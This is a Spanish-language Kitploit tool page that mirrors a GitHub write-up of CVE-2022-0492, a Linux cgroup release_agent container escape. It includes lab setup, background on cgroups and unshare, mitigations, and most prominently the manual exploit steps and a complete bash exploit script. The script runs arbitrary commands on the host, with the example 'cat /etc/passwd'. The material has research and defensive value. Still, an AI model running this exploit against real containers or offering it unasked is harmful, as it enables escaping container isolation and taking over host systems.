Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-0492 — Análisis técnico detallado y exploit funcional para el escape de contenedor del kernel de Linux CVE-2022-0492 mediante cgroup release_agent, con configuración de laboratorio paso a paso y guía de mitigación. | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2022-0492
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónEscape de ContenedoresLabs y Práctica
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

Análisis técnico detallado y exploit funcional para el escape de contenedor del kernel de Linux CVE-2022-0492 mediante cgroup release_agent, con configuración de laboratorio paso a paso y guía de mitigación.

Ver Repositorio
3293hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-0492 Análisis de escape de contenedor

[toc]

Resumen de la vulnerabilidad

Identificador de vulnerabilidad: CVE-2022-0492

Producto vulnerable: linux kernel - cgroup

Versiones afectadas: ~linux kernel 5.17-rc3

Impacto: Cuando el contenedor no tiene medidas de seguridad adicionales, obtener permisos de root dentro del contenedor permite escapar al host.

Configuración del entorno

Simplemente use Docker en un kernel Linux con la versión vulnerable.

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Este artículo utiliza Docker como entorno experimental.

Principio de la vulnerabilidad y conocimientos relacionados

El método de explotación de esta vulnerabilidad ya es conocido, pero el punto de fallo radica en la falta de verificación de permisos al modificar el release_agent de cgroup, lo que reduce aún más la barrera para la explotación de escape (anteriormente se requería el privilegio CAP_SYS_ADMIN, esta vulnerabilidad no lo necesita). Las diferencias específicas en los requisitos de explotación se ven en la sección "Condiciones de explotación".

Punto de la vulnerabilidad

Analizando el parche, corrigió la función cgroup_release_agent_write añadiendo autenticación. Esto significa que el release_agent de cgroup ya no permite su modificación por usuarios sin permisos:

image-20220310201629995

Por lo tanto, se determina que esta vulnerabilidad es un control de acceso defectuoso.

Introducción a cgroup

cgroup, o Grupo de Control de Linux, es una funcionalidad del kernel de Linux que se utiliza para limitar, controlar y aislar los recursos de un grupo de procesos (como CPU, memoria, entrada/salida de disco, etc.).

cgroup tiene los siguientes subsistemas:

  1. devices para permisos de dispositivos a nivel de proceso
  2. cpuset asigna la cantidad de CPU y nodos de memoria que un proceso puede usar
  3. cpu controla la proporción de CPU
  4. cpuacct estadísticas de uso de CPU, como tiempo de ejecución, tiempo estrangulado (throttled)
  5. memory limita el uso máximo de memoria
  6. freezer pausa los procesos en el Cgroup
  7. net_cls junto con tc (controlador de tráfico) limita el ancho de banda de red
  8. net_prio establece la prioridad del tráfico de red de los procesos
  9. huge_tlb limita el uso de HugeTLB
  10. perf_event permite que la herramienta Perf realice mediciones de rendimiento basadas en grupos de Cgroup

Los cgroup en el host están todos en /sys/fs/cgroup, donde se pueden ver los subsistemas de cgroup:

image-20220311113636040

El subsistema cgroup correspondiente en Docker es un nodo hijo del cgroup en el host. Ver el cgroup de memoria en Docker:

image-20220311113811776

El nodo con el nombre del contenedor correspondiente en el directorio de Docker del host es exactamente el mismo:

image-20220311113853019

Uso de cgroup

cgroup se utiliza a través del sistema de archivos. Montando cgroup en un directorio mediante mount, cgroup interactúa con nosotros a través del sistema de archivos virtual VFS. Las interfaces de cgroup se presentan en forma de archivos, y se pueden configurar parámetros de cgroup directamente usando operaciones de archivo.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

Se pueden crear nodos hijos de cgroup creando subdirectorios en el directorio: mkdir /tmp/testcgroup/x.

release_agent

Cada subsistema de cgroup tiene un parámetro notify_on_release, que es de tipo booleano (1 o 0). Puede activar o desactivar la instrucción del agente de liberación. Si notify_on_release está habilitado (1), cuando el cgroup ya no contenga ninguna tarea (es decir, cuando el último proceso del cgroup sale y el archivo tasks del cgroup está vacío de PID), el kernel del sistema ejecutará el contenido del archivo especificado por el parámetro release_agent. El valor de notify_on_release se modifica mediante el archivo notify_on_release.

image-20220311114023546

La vulnerabilidad radica en la modificación del release_agent. Originalmente, cualquiera que pudiera operar cgroup podía modificar el release_agent, y solo se requería CAP_SYS_ADMIN para usar cgroup. Pero luego los investigadores descubrieron que mediante el comando unshare se podía crear un nuevo namespace y obtener todas las capabilities, por lo que la restricción de CAP_SYS_ADMIN dejó de existir, reduciendo drásticamente la barrera de explotación.

Comando unshare

La función del comando unshare es eliminar la compartición de los namespaces especificados con el proceso padre y luego ejecutar el programa especificado uniéndose al namespace recién creado. Lo relevante para nuestra explotación es que el namespace creado por unshare posee todas las capabilities, incluida CAP_SYS_ADMIN.

image-20220311102635204

Explotación de la vulnerabilidad

Esta explotación es igual que el método tradicional de escape usando CAP_SYS_ADMIN + release_agent de cgroup, pero las condiciones de explotación son diferentes.

Condiciones de explotación

Las diferencias en las condiciones de explotación respecto al escape tradicional con release_agent son:

release_agent tradicional: el contenedor necesita tener CAP_SYS_ADMIN y no tener apparmor ni selinux activados.

cve-2022-0492: el contenedor está desprotegido (más específicamente, seccomp no deshabilita unshare, apparmor no activa cgroup de solo lectura, selinux desactivado), y se obtienen permisos de root dentro del contenedor. No se necesita CAP_SYS_ADMIN.

Vale la pena mencionar que apparmor de Docker por defecto activa cgroup de solo lectura, y seccomp de Docker por defecto deshabilita unshare sin el privilegio CAP_SYS_ADMIN. k8s por defecto suele tener contenedores desprotegidos. En resumen, como la explotación es relativamente fácil, se puede intentar en escenarios específicos.

Después de la corrección: según el código del parche:

image-20220310201629995

Para modificar el archivo release_agent se necesitan dos condiciones:

  1. Ser el namespace raíz
  2. Tener el privilegio CAP_SYS_ADMIN

Por lo tanto, después de la corrección, el privilegio CAP_SYS_ADMIN obtenido mediante unshare ya no puede modificar el release_agent, porque el nuevo namespace obtenido con unshare no es el namespace raíz. Pero si el contenedor ya tiene el privilegio CAP_SYS_ADMIN, todavía puede usar este método para escapar.

Explotación

Obtener CAP_SYS_ADMIN

Si Docker se inicia con el parámetro --cap-add=SYS_ADMIN o --privileged (contenedor privilegiado), entonces tiene el privilegio CAP_SYS_ADMIN y no necesitamos obtenerlo adicionalmente, como en el siguiente comando de inicio:

root@kitploit:~
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Un Docker con CAP_SYS_ADMIN puede pasar directamente al siguiente paso "Modificar release_agent". El comando para iniciar un Docker sin CAP_SYS_ADMIN y reproducir la vulnerabilidad:

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Sin CAP_SYS_ADMIN, obtener el privilegio CAP_SYS_ADMIN mediante el siguiente comando unshare:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

El namespace recién obtenido posee todas las capabilities.

image-20220311102635204

Montar cgroup y obtener la ruta del contenedor en el host

Montar cgroup en un directorio. Este paso requiere CAP_SYS_ADMIN porque se usa mount. Después del paso anterior, o tenemos CAP_SYS_ADMIN de forma nativa o lo hemos obtenido mediante unshare. Además, necesitamos crear un nodo cgroup en el cgroup recién montado para facilitar la operación de vaciar tareas posteriormente:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x

Aquí, si memory no se puede montar o no tiene release_agent, se puede cambiar a otro subsistema de cgroup.

A través del archivo /etc/mtab se puede ver la información del sistema de archivos overlay de Docker montado. upperdir es la ruta absoluta del directorio raíz del contenedor en el host:

image-20220311104701790

Se puede obtener con el siguiente comando:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Modificar release_agent para desencadenar el escape

Establecer notify_on_release a 1 para habilitar la función de ejecutar el release_agent después de que las tareas se vacíen:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

Crear el archivo que se ejecutará cuando se active el release_agent:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

Modificar el release_agent para que apunte a la ruta del archivo cmd en el host (ya hemos obtenido la ruta del directorio raíz del contenedor en el host):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

A continuación, ingresar una tarea en el nodo cgroup x, escribiendo el PID del shell actual en cgroup.procs.

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

El comando sh solo ejecuta una instrucción echo, que termina en un instante, por lo que el nodo cgroup x ya no tiene ninguna tarea. Esto desencadena notify_on_release para ejecutar el archivo /cmd al que apunta release_agent. El kernel lo ejecuta, ejecutando nuestro comando especificado fuera del contenedor, completando el escape. Escape exitoso:

image-20220311110810458

Exp

Se escribió un exploit según el proceso:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

Ejecutar directamente, pasando como argumento un comando que se desee ejecutar en el escape, por ejemplo: ./exp.sh "cat /etc/passwd"

Escape exitoso:

image-20220311153511050

Medidas de mitigación

Docker por defecto tiene seccomp y apparmor activados. La vulnerabilidad no puede escapar de contenedores que tienen seccomp y apparmor con reglas predeterminadas. k8s por defecto no tiene ninguna medida de seguridad, es necesario activar manualmente seccomp y apparmor o selinux.

Referencias

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

Además, se consultó a las personas que participaron en el descubrimiento de esta vulnerabilidad.

Descargar herramienta